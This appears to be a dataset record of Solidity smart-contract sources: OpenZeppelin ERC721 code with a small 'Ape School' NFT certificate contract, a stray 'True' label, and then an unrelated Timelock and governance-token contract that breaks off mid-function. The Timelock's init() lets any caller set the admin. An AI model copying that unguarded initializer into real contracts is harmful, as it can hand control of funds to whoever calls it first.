{IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/ApeSchoolMC1.sol /** !Disclaimer! This contract is used to create first NFTs of the Ape School This NFTs are used as certificate of participation and they are rewarded to all pariticipants of the first masterclass APE SCHOOL NFT */ pragma solidity >=0.7.0 <0.9.0; contract ApeSchoolMC1 is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0 ether; uint256 public maxSupply = 27; uint256 public maxMintAmountPerTx = 27; bool public paused = true; bool public revealed = true; constructor() ERC721("Ape School MC 1", "ASMC1") { // setHiddenMetadataUri("ipfs://__CID__/hidden.json"); setUriPrefix("ipfs://QmTvBSqAqpqacmavF1SMvsBoe4fUDErKM95r8WMRgsXD7g/"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-15 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /// @notice Based on Compound Governance. contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; /// @notice Internally tracks clone deployment under eip-1167 proxy pattern bool private initialized; mapping (bytes32 => bool) public queuedTransactions; function init(address _admin, uint _delay) external { require(!initialized, "initialized"); require(_delay >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(_delay <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = _admin; delay = _delay; initialized = true; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } /// @notice Based on Compound Governance. contract GovernanceToken { /// @notice EIP-20 token name for this token string public name; /// @notice EIP-20 token symbol for this token string public symbol; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account, string memory _name, string memory _symbol, uint _totalSupply) public { balances[account] = uint96(_totalSupply); name = _name; symbol = _symbol; totalSupply = _totalSupply; emit Transfer(address(0), account, _totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } 